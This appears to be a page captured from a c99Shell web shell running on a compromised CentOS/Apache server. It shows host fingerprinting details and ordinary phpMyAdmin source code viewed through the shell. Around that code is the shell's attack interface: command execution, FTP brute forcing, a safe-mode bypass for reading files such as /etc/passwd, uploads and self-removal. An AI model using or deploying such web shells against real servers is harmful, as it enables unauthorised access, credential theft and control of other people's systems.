!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/setup/lib/   drwxr-xr-x
Free 52.39 GB of 127.8 GB (40.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     form_processing.lib.php (2.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Formset processing library
 *
 * @package phpMyAdmin-setup
 */

/**
 * Processes forms registered in $form_display, handles error correction
 *
 * @param FormDisplay $form_display
 */
function process_formset(FormDisplay $form_display) {
    if (
filter_input(INPUT_GET'mode') == 'revert') {
        
// revert erroneous fields to their default values
        
$form_display->fixErrors();
        
// drop post data
        
header('HTTP/1.1 303 See Other');
        
header('Location: index.php');
        exit;
    }
    if (!
$form_display->process(false)) {
        
// handle form view and failed POST
        
$form_display->display(truetrue);
    } else {
        
// check for form errors
        
if ($form_display->hasErrors()) {
            
// form has errors, show warning
            
$separator PMA_get_arg_separator('html');
            
$page filter_input(INPUT_GET'page');
            
$formset filter_input(INPUT_GET'formset');
            
$formset $formset "{$separator}formset=$formset" '';
            
$id filter_input(INPUT_GET'id'FILTER_VALIDATE_INT);
            if (
$id === null && $page == 'servers') {
                
// we've just added a new server, get it's id
                
$id ConfigFile::getInstance()->getServerCount();
            }
            
$id $id "{$separator}id=$id" '';
            
?>
            <div class="error">
                <h4><?php echo __('Warning'?></h4>
                <?php echo __('Submitted form contains errors'?><br />
                <a href="?page=<?php echo $page $formset $id $separator ?>mode=revert"><?php echo __('Try to revert erroneous fields to their default values'?></a>
            </div>
            <?php $form_display->displayErrors() ?>
            <a class="btn" href="index.php"><?php echo __('Ignore errors'?></a>
            &nbsp;
            <a class="btn" href="?page=<?php echo $page $formset $id $separator ?>mode=edit"><?php echo __('Show form'?></a>
            <?php
        
} else {
            
// drop post data
            
header('HTTP/1.1 303 See Other');
            
header('Location: index.php');
            exit;
        }
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0087 ]--